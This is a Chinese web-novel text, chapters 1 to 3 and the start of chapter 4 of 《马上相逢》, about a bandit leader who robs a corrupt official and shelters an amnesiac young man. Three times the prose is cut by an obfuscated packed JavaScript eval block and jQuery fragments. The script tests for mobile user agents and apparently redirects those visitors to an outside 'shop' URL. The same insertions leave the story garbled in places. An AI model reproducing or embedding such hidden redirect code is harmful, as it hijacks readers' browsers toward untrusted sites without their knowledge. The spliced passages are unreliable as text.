《马上相逢》
1. 第 1 章
山林格外寂静,树影在月色中摇动,鸟叫虫鸣,分外清晰。
半人高的荒草丛中突兀地传来一道刻意压着嗓子的声音:“老大,咱们还得等多久啊?这帮人怎么还不来,咱们都在这蹲一天了。蚊子给我咬了好几个包,痒死我了……”
身后的草丛里一阵挠痒的窸窸窣窣声音传来。
万迎雪拧眉,目光继续锁定在山谷间的小路上,没有出声。手在地上摸了几下,摸到一块石头,掂了掂,劈头就向后面砸去。
“诶呦……”,一声痛呼。
“闭嘴,安静点!”,万迎雪从咬紧的齿缝中挤出几个字。
林间又归于寂静。
半月前万迎雪得到风声,朝廷派出的巡抚即将来到此地巡查。这位巡抚可是出了名的刚正不阿,凡是经他发现的徇私枉法、贪污受贿案一律从重处理。吓得平洲知府连夜派人将为官多年贪污的二十万两白银从密道送出。
此处峡谷是知府府兵出省的必经之路,可再等两三个时辰,天都快亮了,他们还连个人影都没看见。
万迎雪也有些不耐烦了。
就在这时,远处林间群鸟飞过。
万迎雪勾起唇角,握紧手中长刀,轻声呢喃:“终于来了......”。
心跳逐渐加速。
一队人马抬着箱子从远处走来。
越来越近,越来越近。
突然,一声哨响划破寂静。
一个个巨大的圆石和圆木从峡谷高处滚落。
护送赃款的府兵日夜兼程,已是疲惫不堪,听见哨声还没反应过来,就被撞下马,或一击毙命。
死的死,伤的伤。
一队人马当即折损一大部分。
又是一声哨响,火箭如雨点般落下,射在惊慌失措的马匹上,马蹄踩踏地上哀嚎的伤兵;射在四处逃窜的府兵身上,惊恐地在地面滚动扑灭身上的火;射中浸了火油的木头上,火焰猛地燃烧,照亮峡谷的漆黑。
哀嚎四起。
万迎雪长刀一挥:“杀!”。
声音回荡在山谷里,众人听见号令,埋伏在此的人从四面八方冲向仅剩的残兵。
势如破竹。
投降者的双手用绳子捆住,栓在一根长绳上,由手下看押带走。
“老大,剩下的这怎么办?”贺锦元刚被万迎雪用石子丢过,现在又嬉皮笑脸的凑上来。
火光映在眼底,衬得万迎雪的眉眼冷厉了几分,但随后的莞尔轻笑,似晚冬的风,带走最后的寒冷,冰雪消融。
“你小子,还敢凑过来,刚才的账还没算呢。”说着,万迎雪不轻不重地照着他屁股踹了一脚。
贺锦元捂住屁股,将身一扭,躲了过去:“别生气啊老大,我知道错了,下次不敢了!”。
万迎雪没再打趣,吩咐道:“此地不宜久留,你带着几个人把这收拾一下,我们把这些箱子抬回去再清点。”
他笑嘻嘻地应下,一溜烟跑远招呼人去了。
贺锦元虽然看着吊儿郎当的,但手脚确实麻利。没过一会,就追上了万迎雪一行人。
他驾马快行几步到万迎雪身侧,抬手指了指即将升起的太阳,笑道:“迎雪姐,那狗官现在还不知道咱们劫了他的金库,估计还在梦里数银子流口水呢!”
身边一群人哄笑一团。
万迎雪勾勾唇角,露出虎牙,显得人匪气十足:“狗官笑没笑不知道,他怕是哭不敢哭。算算时间,巡抚老儿最多三天,就会敲他家的门。就算他知道他的小金库被劫了又怎么样,难道还敢跪在巡抚老儿面前,抱着人家大腿,涕泗横流吗?”
众人顿时笑的更大声了。
就在这时,林中突然传来兵器交战声。万迎雪勒住缰绳,□□红鬃马停下脚步。
队伍中霎时安静下来。
叫喊声越来越近,正当她准备带人撤离时,一人骑马飞驰冲出林子,众人大惊,立刻抬起弓箭瞄准,只等万迎雪一声令下。
骑马人显然也没想到林子后还有一伙人等着,神情一僵,猛地拉紧缰绳。
烈马长鸣一声,前蹄高高抬起,而后迅速落下调整方向,马身几乎倾斜,就在骑马人即将稳住身形时,一只利箭从远处穿林而过射中马后腿。
又是一声嘶鸣,剧烈的疼痛使烈马后腿一软,身体重重摔在地上,骑马人则被惯性甩出,滚落山坡,晕在万迎雪马前。
万迎雪没动,贺锦元翻身下马,上前查看。
贺锦元单膝蹲下,伸手正准备看看这人是死是活的时候,又是一支利箭射来,擦着他的手死死钉在脚边,手背顷刻鲜血涌出。
他站起身,收起脸上的笑容,将手一甩。
“撕拉”一声,撕下一块布条,把自己的手一点点缠住,眸光锐利看向利箭射来的方向。
林边追兵赶来,于缓坡前位列一排,弓箭手拉满弓弦直指万迎雪等人。
领头人毫不客气,喊话道:“把他交出来,饶你们不死。”
万迎雪手中长刀一指:“他?”
领头人没有回答,手里的弓拉的更满些。
场面陷入僵局。
万迎雪眯起眼睛,勾唇一笑率先开口:“这样吧,我们也是路过,无意参与。你让刚才射箭的那位站出来,给我家弟弟道个歉,咱们这个事就当结束了,地上的人你带走。如何?”
领头人依旧不动声色,片刻后,一字一顿重复道:“把人交出来。”
“看来我们这场简短的谈判没有达成共识。”万迎雪故作遗憾,但脸上笑容更甚。
她一带缰绳,红鬃马毫不迟疑地向身后的密林中冲去。她将长刀绑在背后,夹紧马腹,一手拉紧缰绳,重心压在马侧,整个人几乎要贴在地上。
在红鬃马擦着地上的人飞驰而过时,她伸手一捞,随即腰腹用力,两人稳稳落在马背上。
万迎雪大喝一声:“撤!”
众人驾马随着她一同散入密林之中,漫天的箭雨被树身尽数挡下。
而俘虏们躲闪不及,死于箭雨之下。
红鬃马灵活穿梭在树干间,万迎雪伏在马背上,树枝刮过肩膀,划出口子。
她低头看着情急之下抱在身前的男子,剑眉紧皱,脸色苍白,满身尘土但不狼狈。
万迎雪有些懊恼——他倒是坐得舒坦,树枝全让她挡下来了,早知道就费点事给他放身后好了,还能挡挡箭。
但现在后悔也来不及了。
好巧不巧,男子虚弱的撑起眼皮。入目的是万迎雪凸起青筋的侧颈,再往上的侧脸是血污和灰尘也遮掩不住的精致。
他这才发现自己竟然被她抱在怀中,热气顿时冲向大脑,不自在地动了动,却穆然对上那双淡漠的眸子,心跳似乎漏了一拍。
他强作镇定:“多谢姑娘相救,其实姑娘给我放在林中就好。”
怀中人突然动了,万迎雪吓了一跳。早不醒晚不醒,偏偏说坏话时候醒。
又转念想到自己本来应该干完一票,好好回寨子里睡上一觉,如今却因为这个人在林中受罪,刚升起一点的尴尬被烦躁冲散:“少给自己脸上贴金,要不是你刚好晕在我的马前,我那个好事的弟弟又被那帮人伤了,不然素不相识的救你干嘛?”
她没好气的压低声音,厉声问道:“你是谁,那帮没教养的家伙又是谁?”
“在下...岑云度,家住...,那帮人是?”说着,男子的眉头再度锁紧,似是极度痛苦般,额头冷汗混着血水划过脸颊。
万迎雪侧头看去,这才注意到他的发间似是血迹渗出。
没等她细问,就听见林外的骑兵马匹嘶鸣,怎么也不肯进入这片从没有来过的陌生树林。
领头人咬咬牙,还是不肯轻易放弃那个男子:“下马追!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527289|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>身后窸窸窣窣声音传来,万迎雪轻蔑一笑,勒住缰绳,林间彻底陷入安静。
林中树木高大,荒草荆棘密布。
追兵散入林中搜寻,没走几步就辨不清左右,晕头转向。
一箭射出,正中胸口,一个追兵连话都没来得及说,就咽了气。
领头人独自搜寻许久,连马的影子都没看见,更别说岑云度了。
林中愈发安静,领头人忽觉情况不对,从怀中掏出信号弹刚要发出。箭只穿梭在树干间,瞬间射穿他的手,领头人被惯性带着退了几步,钉在树上。
剧痛从掌心传至大脑,领头人再也忍不住,惨叫出来。
一具尸体被丢在面前,山匪骑着马从林中走出。
领头人心中一惊,是他的手下!
刚才的山匪是个开始,随着一具具尸体扔在地上,领头人的心沉了下去,嗓子里挤出声音,嘲讽道:“他都沦落到这地步了,你还护他真是衷心啊。”
山匪骑着马慢悠悠围作一圈,万迎雪从山匪中驾马而出,从背后抽出长刀架在领头人的脖子上,不怒反笑:“你这说的哪里话,论衷心不还得看你们吗?死到临头了还替主子办事呢,真是看家护院的好狗。”。
领头人死死盯着万迎雪,啐在地上,咬牙恨恨道:“他侥幸活命又怎么样,我杀不了他别人也会杀了他,主公不会放过你们的!”。
万迎雪察觉情况不对,却慢了一步。
他咬破嘴里藏的毒囊,口吐鲜血,毒发身亡。
万迎雪一时失语。
说你是条好狗还真没说错,好歹说一下你主公是谁吧。
“他说的主公是...”万迎雪一低头,岑云度不知何时又昏了过去。
贺锦元出声问道:“老大,这个人要一起杀了吗?”
“先带回去,等他醒了问问这帮人到底是谁。”
众人再回到主道时,地面上插满了箭矢,贺锦元拉住缰绳停住脚步。
万迎雪一回头,就看见贺锦元目光殷切地看着她,又扫了眼他身后的人,都一脸期盼。
万迎雪:“……”
两方面面相觑,她败下阵来,摆摆手:“捡吧捡吧……”
山匪乐呵呵地翻身下马,将地上的箭挨个拔起,拿绳子捆好。
贺锦元抱着一捆箭,冲着万迎雪呲着大牙:“咱们这是勤俭持家!”
山路曲曲绕绕,一行人说说笑笑到寨子时天色已然大亮。
万迎雪等人驾马冲进院内,寨中留守的人早已夹道相迎。
少女身着粗布衣裳,脸蛋红扑扑的,一双眼睛像葡萄似的。万迎雪在远处就看见这小姑娘激动地朝她招手。
“吁。”,万迎雪牵住缰绳,马匹听话地停在少女面前。
修长有力的腿在空中划出一道弧线,万迎雪飞身下马,稳稳落在地面。
少女上前一步,急忙递上手中的茶水,一双大眼睛眨啊眨:“迎雪姐姐,刚泡好的茶水,润润嗓子。”。
万迎雪接过温热的茶水,笑着道谢。
少女甜甜一笑,拿着干毛巾一点点为万迎雪擦去汗珠。
“我说阙双滢你别太双标好不好,我也比你大几岁,也是你长辈,你怎么不给我递茶水,递毛巾呢!”,随后入寨的贺锦元翻身下马,抱着胸口,扯着嗓子喊道。
阙双滢根本不理他,接过空了的茶杯,说道:“迎雪姐姐,你们先去好好休息一下,今天晚上的庆功宴就放心的交给我!”
万迎雪摸摸阙双滢的头,哄孩子般:“双滢这么能干呀,那今天晚上可就全权由你操办了哦。”。
无人搭理的贺锦元气得跳脚:“喂,你们两个有没有听我说话啊!”。
声音实在聒噪,阙双滢赏了他一个白眼。
“对了,叫沈大夫带着药箱来我院内。”,万迎雪说罢,带着马背上的人前往小院。
2. 第 2 章
山寨的环境简陋,说是院子,其实就是用竹子围了一圈篱笆,小院里人来人往,更像是个议事堂。中间最大的屋子用来供万迎雪等人商讨事宜,余下的两间侧房一间供万迎雪日常起居,另一间则作为书房和杂货间。
“在杂货间支张床,让他暂时居住,多叫几个人守在门口,一有动静及时通知我。”万迎雪吩咐道。
“万姑娘,”沈不野拎着药箱嘱咐道,“人已经开始退烧了,伤口也包扎好了,今晚一定要注意观察,情况不对及时叫我。”
“知道了,沈大夫。”万迎雪点头应下。
众人散去,万迎雪见岑云度还在昏迷着,想来还得有段时间才能醒,便叫来人守在门口,自己打着哈欠回屋子里补觉去了。
将近两天的蹲守,全靠肾上腺素撑着,甫一沾到枕头她就沉沉坠入梦里。
两个月前,她还是一名专业赛马运动员,骑着赛马驰骋在G1的赛道上。
谁曾想即将转过最后一个弯道,冲向终点时,后方马匹突然失控向她撞来。
她狠狠地摔在地上。
马蹄声,嘶鸣声,惊呼声还有越来越急促的心电监护仪变成直线的声音。
意识逐渐消散,眼前陷入黑暗。
再次睁眼,她已经穿进了这个世界。
这个世界在梦里贯穿了她前二十年的人生,她对这里的一切都很熟悉。
但她还是有些适应不了。
断臂残肢,人头白骨,在她的梦里挥之不去。
“咚咚咚”,敲门声响起。
“迎雪姐姐,出来吃宴啦!”阙双滢在门外喊道。
万迎雪睁开眼,透过窗子,外面天色漆黑,自己竟然睡了将近一整天?
她抬起手,拭掉眼角的泪珠,答道:“好,你先去吧,我收拾一下马上就来。”
寨子里到处挂着喜气洋洋的红灯笼,空气里还弥漫着爆竹的烟火味。
人声嘈杂,在远处就听见众人的欢歌笑语。
万迎雪赶到时,众人已经入座,只等她来主持开宴。
她快步上前,一把拎起地上的一只酒坛,向场中示意:“感谢各位不弃,信任我,投奔我,认我做这个老大,我不会辜负大家的信任。废话不多说,各位今夜玩的尽兴!”随后举起酒坛,仰头痛饮。
喝彩声、鼓掌声震耳欲聋,众人疯闹一团。
万迎雪坐在主位上,佳肴美食堆叠,但却没有胃口。
她环顾一圈,众人喝的酩酊大醉,没人注意她这里,便顺着间隙悄悄的溜出宴席。
山风一吹,憋闷的昏沉感舒缓了很多。
野外夜晚的天空向来开阔,仰望星空,心也开阔了。星子转动,仿佛自己也随之转动。它们不会为了谁而转,也不会为了谁而停。
酒意渐渐上涌,心中有股说不上来的滋味。
不知觉间她已走回了院子,书房外守卫站的笔直,见她回来问了个好。
万迎雪回过神,笑道:“你也去庆功宴上好好歇歇,这里我守着就行。”。
白日里睡了一天,现在反而没有困意,她拿着下属交上来的赃物清点单进了书房。
烛火明灭,万迎雪对照着清点单在地图上勾勾画画。
“水……”
“什么?”声音太小,万迎雪没听清,放下手中毛笔,向床边走去。
“水……”声音依旧微弱,好在她这回听见了。
茶壶就在旁边,万迎雪倒了一杯温水,关切问道:“你自己能起来吗?”。
头脑昏沉的岑云度似乎听懂了,顿了一下,握住床沿,准备借力起身。刚一用力,手臂上的伤口就崩裂渗出血迹。
一见这情景,万迎雪不敢再让他自己来了,连忙伸手,用力一把捞起。动作间,长发不经意地滑落,扫过他的颈侧,又一触即分,只留下一丝羽毛般的痒意传入神经,他的大脑一片空白。
万迎雪没注意到岑云度身体一瞬间的僵硬,在他后背垫了个枕头,嘴里念叨着:“诶,算了算了,大晚上的因为这点事把沈大夫叫来不值当。”。
茶杯送至岑云度干裂的唇边,岑云度没动。
“喝啊。”
“啊?哦……好。”他小口咽下,喉结吞咽。
万迎雪打量一下,视线不自然地飘忽别处。
这人收拾干净后长得还不错?
“咳咳……”
她回过神,顺手拍拍岑云度的后背,平复气息。
岑云度虚弱开口:“多谢姑娘相救。”
“废话少说。”万迎雪紧紧盯着他的神情,问道,“你仇家是谁?”
岑云度痛苦拧眉思虑片刻,摇摇头:“抱歉,我……还是想不起来。”
万迎雪追问:“那你家在哪还记得吗?”。
片刻后,岑云度再次摇头。
见他神情不似作假,万迎雪无奈叹了叹气:“距离天亮还有一会,你先休息吧,其余的事明日再说。”
说罢,万迎雪想起刚才岑云度费力起身的样子,又是一把将他捞起,放回床上,送佛送到西。
“我就在这里,你有需要喊我。”万迎雪活动着肩膀,继续回去圈点勾画。
岑云度半晌才挤出一声“嗯”,可惜万迎雪没有注意到。
岑云度觉得自己好像又发热了,不然脸为什么这么烫?
他伸手摸了摸自己的额头……
不热。
又摸了摸自己的脸……
嘶,手好冰。
“又发热了?”书桌后的万迎雪目光关切。
岑云度心脏猛然一跳,强装镇定答道:“没有没有。”
万迎雪哄阙双滢哄习惯了,见他脸色还有些红晕,只当是还在低烧难受,不自觉地放柔语气:“发热是会很难受,闭上眼睛睡一觉就好了。”
岑云度霍地闭上眼睛。
完了,好像又发热了……
大脑愈发昏沉,一夜无梦。
等他再睁眼时,书桌后已经没有了那人的身影。
岑云度心中好像一空,说不上来什么感觉。
洗漱后,他换好床边叠得整齐的衣物,发热的症状已经没有了,岑云度打算前去道谢。
岑云度行至门前,脚步一停,转头扫了眼旁边的铜镜。
镜中人眉眼俊朗,衣冠整齐,虽然依旧带着病气,却难掩出尘的气质。
他满意的勾起笑容,用力推门──
后退,关门……
外面怎么这么多人!?
“砰砰砰”
“我知道你醒了!出来吧……诶呦,打我做什么。”贺锦元的声音透过门板撞进他的耳朵。
“贺锦元,你是不会好好说话吗?弄得像要吵架一样,他怎么说也是客人啊。”阙双滢收回手,翻了个白眼。
贺锦元无奈妥协,缓和好语气刚要开口,门就拉开了。
“诶,你出来啦!休息得怎么样,还有哪里难受吗?”阙双滢问道。
其余众人围了上去。
他稳住身形,面上不动声色。
“你可算醒了,老子快要憋死了!”
“老大特意吩咐我们不能打扰你。”
“小兄弟长得怪俊秀的,可有婚配?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527290|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
众人你一言我一语,气氛瞬间热闹起来。
岑云度礼貌答道:“多谢各位相救,岑某已无大碍。不知各位可否告知昨晚那位姑娘在何处,岑某想当面拜谢。”
贺锦元刚要开口,就被打断。
“你找我?”
万迎雪站在议事堂门口,眼眸明亮,唇边还带着似有似无的笑意。
岑云度眼前一亮:“正是。”
“跟我进来吧。”
岑云度向众人抱拳行礼告辞,迈步跟了上去。
议事堂摆着一座沙盘,万迎雪抬眼扫了一圈,沙盘周围的几个人识趣地离开议事堂,还顺带关上了门。
万迎雪抱臂靠坐在沙盘边,问道:“恢复得怎么样?”
“烧已经退了,还剩些皮外伤,不是大事。”
她了然地点点头:“还没想起来吗?”
岑云度摇摇头:“没有想起其他的事情。”
万迎雪眸光锐利:“你一人驾马躲避追杀出现在林子里,凑巧的摔在我的马前,现在又凑巧地失去记忆。”
“万一你们联手做戏怎么办?”
岑云度神色不变,垂眉拱手道:“姑娘救了我一命,姑娘既然不放心我,那便将这一条命还给姑娘。”
说罢,就要去抽万迎雪腰侧长刀。
“行了,”她先一步护住佩刀,用刀柄敲了一下那只手,半玩笑话道,“命先留着,万一你仇家追过来,我打不过还能拿你去投个诚。”
看昨日他逃跑时骑马的熟练程度,就知道不是寻常人家。而且从追兵配合程度来看,也是接受过专门训练的,想必他的来头也不小,贸然收下很可能给自己和山寨招来麻烦。
可若不收,他一个目前看来像是失忆的人又能去哪里呢?
算了,她万迎雪都当山匪了,走一步看一步,实在不行就给他丢出去,给寨子里的其他人换条生路。
岑云度看着万迎雪的脸色来回变化,微微勾起唇角。
“你留下吧。”,万迎雪开恩般。
岑云度唇角更深,面上却装出一副可怜样子,刚要出声道谢,就被万迎雪的话噎了回去。
“你会做什么?”
“?”
“你总不能留在这白吃白喝吧,不过看你肩不能挑手不能提,细皮嫩肉的模样,你能做些什么呢?”
“……”
岑云度一时失语,十八年以来,还是第一次有人说他“肩不能挑手不能提”。
眼见着万迎雪的眼神从打量变成失望,他脱口而出:“我会教书!”
“教书?”。
话已出口,岑云度拼命找补:“……没错,虽然我其他的不记得了,但是我应该是上过学堂的。我看寨子里孩童也不少,我能带他们认认字讲讲书。”。
万迎雪思索着点点头,寨子里孩子的学习确实是一个问题。
趁着万迎雪还没开口,岑云度问道:“在下......还不知恩人姓名。”。
“万迎雪。”
万里独吟迎雪去,平生一剑带霜携。
——
“从山坡上滚落还能失忆吗?”
“不好说。”
“嘶,那这种情况还能恢复吗?”
“不好说。”
“......”
万迎雪怀疑地看着眼前头发胡子全花白还喝的双眼迷离的沈不野:“怎么问什么都不好说?”
沈不野:“不好说。”
万迎雪愤然离去,沈不野虽然看着不靠谱,但在医术上还是很认真的。
不好说也许真的不好说吧.......
3. 第 3 章
岑云度留下的消息就这么定下来,其余人都没有太大意见。
寨子里来个教书先生这件事很快就传到贺锦元耳中,再一打听……
“别薅了,这块地都被你薅秃了。”,阙双滢躺在树上,一手摇着蒲扇,一手拿个桃子,一口一口咬着。
树下绿草如茵,唯独有一块地光秃秃的,格外显眼。贺锦元蹲在中间,脚边还有一堆绿草尸体。
贺锦元嘴里嘟囔着:“老大留下他干嘛,他一个大男人有手有脚,失忆了也能去做工啊!还教书育人,我看他分明是奔着某人来的!”,越说越气,又狠狠地薅了一把草。
阙双滢语气懒懒:“你以为谁都像你一样啊,小人之心度君子之腹。你这么看不惯他,你去跟迎雪姐姐请缨,你也会教书,什么四书五经的,不在话下。“,咬了一口桃子,继续说道,“快些去吧,逃学贼。”
贺锦元一噎,矛头调转:“哈,也对。不就是一间书房吗,不就是一间不知道哪个没断奶的小屁孩惦记很久,想跟姐姐近些结果让别人抢了先的书房吗?”
阙双滢猛然坐起,手中桃核长了眼睛般精准砸中树下的人:“要你管!”,说着,跳下树,小屁孩去找姐姐了。
“姐姐!”,人未至声先到。
“你们要干嘛去?”,阙双滢看着收拾整齐的万迎雪和岑云度,心中警铃大作。
万迎雪帮她整理了一下头发,耐心解释道:“我要买些货物,岑公子也要为你们添置些书籍,就准备一道下山。”。
“我也想去。”,阙双滢眼泪汪汪。
“不可以,岑公子昨日留的背书你还没有背下来,留在寨子里认真背书,我回来检查。”
小姑娘虽然不情愿,但是很听姐姐的话,不舍地望着那两道骑马远去的背影。
距离岑云度苏醒已经过了几日,身体的伤口也好的差不多,期间万迎雪问他几次有没有想起什么,岑云度又会摇摇头,表示没有印象。
山中乱石多,滚落时磕到失忆并不奇怪,但万迎雪心中还是对他有些怀疑。
她牵引缰绳,放缓骑行速度,待二人同行时,侧头看向岑云度,出声问道:“岑公子此去下山可有想去的地方?”
岑云度神色正常,仔细想了一下,回道:“这是我从有记忆以来的第一次下山,对县里还不熟,不知道要去哪里。”
毫无错处。
万迎雪继续试探:“据我所知,县里有两家书坊。一家城南,县衙门转个弯就是;一家城北,直行百步便是平洲知府府。我一会先送你去哪家?”
“哪家书坊要价最少?”
“?”
岑云度似是羞涩一笑:“毕竟咱们作为山匪劫财不易,要省着点用。”
万迎雪愣住,原以为他会说什么知府危险,咱们去城南那家,或者在山上受够了苦日子,去城北那家趁机逃走,怎么也没想到这个答案。
“嗯……山匪不读书……”,万迎雪尴尬回道。
岑云度好奇发问:“那我住的那间书房是?”
万迎雪挠挠头:“之前劫了个贪官,箱子里铺了一层书用来遮掩夹层里的金条,书丢了浪费,就摆在那里了。”
“噗呲”,岑云度没忍住笑出声。
她一个眼刀飞过去,岑云度立刻收住,勾着一抹笑意说道:“那劳烦迎雪姑娘随便带我去一家就好。”
“还有一事。”,岑云度继续说道,“迎雪姑娘唤我云度就好,叫岑公子太过生分了。”
林间山风轻柔,吹得她鬓间一缕发丝拂过脸颊。
万迎雪不知觉地飘向同侧人牵紧缰绳的手,瘦削修长,骨节分明,手指动了动,她猛然收回视线,夹紧马腹快行几步,语气里少了几分从容:“再说吧。”
后面两人一路无言,直到将岑云度带至城南书坊门口,约定好她忙完再来找他,牵马离去。
岑云度甫一进门,小厮便迎了上去:“客官,需要什么书?”。
他摆摆手,示意自己先看看,独自一人走向书架。
书架上的书琳琅满目,分类放好,他取下一本认真翻阅。
小厮远处扫了一眼,继续去招待下一位客人。
万迎雪牵马七拐八拐,进了一处巷子,左右环视一圈确认没人跟来后,向巷子深处走去。
“咚咚咚”
她扣响一处紧闭着的院门。
院内一道稚嫩的童声喊道:“家父买菜去了,不在家,不能开门,你等会再来吧!”
万迎雪笑道:“迎雪姐姐都不能开门吗?”。
“当然能开!”院门刷一下打开,冲出一个梳着两个发髻的孩童,紧紧抱住万迎雪,万分委屈:“迎雪姐姐怎么才来啊,我都好久没见你了。“。
又是递糖果又是递玩具,在万迎雪保证了下次一定早点来找她玩后,孩童才破涕而笑。
万迎雪问道:“你母亲呢?”。
孩童压低声音,小心说道:“母亲在地窖清点货物呢,姐姐你跟我走,我带你过去。”。
小院虽小,但打理的很温馨。
万迎雪一路跟着孩童来到房后角落的枯井旁,地面有一入口,楼梯直通底下。
孩童从身上摸出来一只火折子交给她:“这是娘让我给你的,姐姐小心台阶。”
有了火折子照亮,万迎雪走下楼梯。
地窖一人高,但面积开阔,堆放着打包完的粮食。
妇人循声回头,见来人是万迎雪,乐呵呵地走过去:“万老板来啦!近些日子收的粮食,已经给您装好啦!这个是账簿,您过目。”。
万迎雪接过账簿,借着光亮,挨个货物核对。
妇人跟在她的身侧,一一汇报:“您先前给的十万两白银,按照市价收购了六万石粮食,从农户手中高价收了两百石,还有些御寒货物,都在账簿里记了。”
“这里是一部分,其余部分存放在县里的其他地方,到时候您直接派人来拿就成。”
万迎雪点点头,大致核对后确认无误,不禁感慨:“您办事我可太放心了,有了这些粮食和御寒货物,想必今年冬天百姓们能好过点。”
说到这妇人不仅眼眶泛红:“要不是当初您带着人大帮我们村抢救麦子,我们村可就颗粒无收了。我们村里的人还念着您的恩情呢,您以后有什么事,我们豁出命也给您办妥!”
妇人提到的正是两个月前,她刚来到这个世界的时候正值雨季,连着下了好几天的大雨,马上要收割的麦子泡在水里,眼看这一年的辛苦即将作废,万迎雪带着山匪帮村民排水,这才挽救了这一村的麦子。
万迎雪安抚妇人:“我山上的人虽然是山匪,但他们没来投奔我之前大部分也是农人,甚至还有些是村子本地的人,遇到困难又岂有不帮的道理呢。”
再三劝慰后,妇人情绪平稳下来,与万迎雪一同走出地窖,刚要留她一起用饭,恍然想起丈夫还没回家。
“他天不亮就出去了,这都晌午了,人怎么还没回来!”,妇人又急又担心,“别是出什么事了吧。”
万迎雪说道:“您别担心,许是王叔他被别的摊子吸引了注意,您在家先陪着孩子,我去找找王叔。”,说完,牵着马离去。
“看的怎么样了?”
声音从耳边传来,岑云度抬头一看,面前人气喘吁吁,双颊红润,发丝微微凌乱,落下一缕挡在额前。
他鬼使神差的伸出手将那一缕头发别在万迎雪耳后,没了发丝遮挡,一眼就对上她看鬼般的表情。
“岑云度你吃错药了?”
岑云度猛地收回手,支支吾吾的说不出来半个字。
万迎雪正有急事呢,懒得听他解释,叫来小厮:“把他看过的书都包起来,我们等会来拿。”。随后拉住岑云度腕子就往外走。
岑云度快步跟上,询问道:“何事如此着急?”
“帮我找个人。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527291|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>简单说明前因后果后,二人直奔菜市。
据婶子说,王叔早上五更就早早前往菜市买菜,按平常巳时就能到家,今天已经未时却还不见人影。
二人匆匆赶到时,本以为已经闭市,却没想到原本寻常的菜市,今日反而挂上了灯笼。
菜市内人头攒动,要不是岑云度眼急先一步拉住万迎雪,两人早就被人流冲散了。
万迎雪扶额:“这可怎么找啊?”
岑云度接道:“嗯……往好处想,也许王叔马上就要挤出去回家了呢。”
万迎雪翻了个白眼,拉住旁边卖面具的小哥问道:“今天什么日子这么热闹?”
小哥嘿嘿一笑:“外地人,是不?今天晚上是却扇会,互通心意的公子小姐在今天晚上会互相交换面具,当然还未婚配的也能在却扇会是找到心动之人。”。
话说一半,小哥余光扫见她被牵住的手腕,眼珠溜溜一转,继续说道,“二位是一起来的,这位公子给旁边的小姐买张面具如何?二人永结同心啊,白头偕老啊!”
万迎雪倒还好,寨子里被调侃惯了,没什么太大反应,反而是岑云度的脸刷一下红了。
她看的惊奇,本来偏狭长的眼睛竟然惊得圆了些,万迎雪不禁出声:“实话说,你是不是……”。
岑云度的心提到了嗓子眼。
“谎骗我失忆……”
岑云度的心提到了嘴里。
“其实……”
岑云度嘴唇紧紧抿起,刚要张口。
“是老天看我是个大善人,让你变色龙成精扶持我成就大业的!”,万迎雪笑的开怀,小虎牙露了出来。
岑云度:“……”
小哥:“……”
岑云度的心落到胃里。
他在期待什么,又在害怕什么?
旁边小哥本来竖着耳朵以为听到了什么大秘密,结果竟是这样。
但他还是很有职业精神的,举着面具笑呵呵地向万迎雪说道:“那正好,小姐买个面具,留住这位变色龙公子,祝您成就霸业!”
“好祝福,买了!”,万迎雪大手一挥,递给小哥两枚铜板,买下这张狐狸面具。
“好嘞,祝老板您发大财!”
人流涌动,两人被人流推着继续深入。
“万老板!”
万迎雪循声回头:“王叔,您怎么还没回去?我们还在找您呢,婶子在家里担心坏了!”。
王叔羞涩一笑:“嗐,今天却扇会,当年我和你婶子就是却扇会上认识的。我看她这几天忙得脚不沾地,这不想着给她个惊喜嘛!”,说着,他举了举手里的两张面具,“看,这和当年你婶子送我的那张一模一样。”
“您和婶子感情真好,王叔您快回去吧,别让婶子惦记太久。”
“诶诶!你们也来,吃了饭再走!”,王叔邀请道。
万迎雪和岑云度对视一眼,笑道:“我们就不去了,您二人还得过节不是?”
“好好好!那下次有机会万老板再带着这位公子来我们家好好尝尝我的手艺!”
──
书坊内,小厮在书架间精准地挑出岑云度看过的书,刚要拿纸包好,旁边走过来一位黑衣人。
“你怎么把我要买的书包起来了!”,黑衣人嚷道。
小厮顿时慌了手脚:“我……我不知道啊,刚才那位客人吩咐把看过的都包起来的。”。
黑衣人不耐烦地摆摆手,从中捡起一本书,说道:“我不想听你解释,这本书我原本就要买走,只是在书架上放了一会,就被那位公子拿起来看了。看他认真我就没去拿,现在他走了,你去库房里面换本书给他包起来吧。”
也不等小厮回答,扔下几文钱扬长而去。
小厮脸色发白,快步走到后院,压低声音:“张爷,岑公子翻过的书,被人拿走了。”
许久,门内传出声音:“我会如实禀告万老板的……”
4. 第 4 章
黑衣人把书塞进怀里,顺着人流走了一会,左右环顾一圈后没发现什么异样,闪身进了一间茶楼。
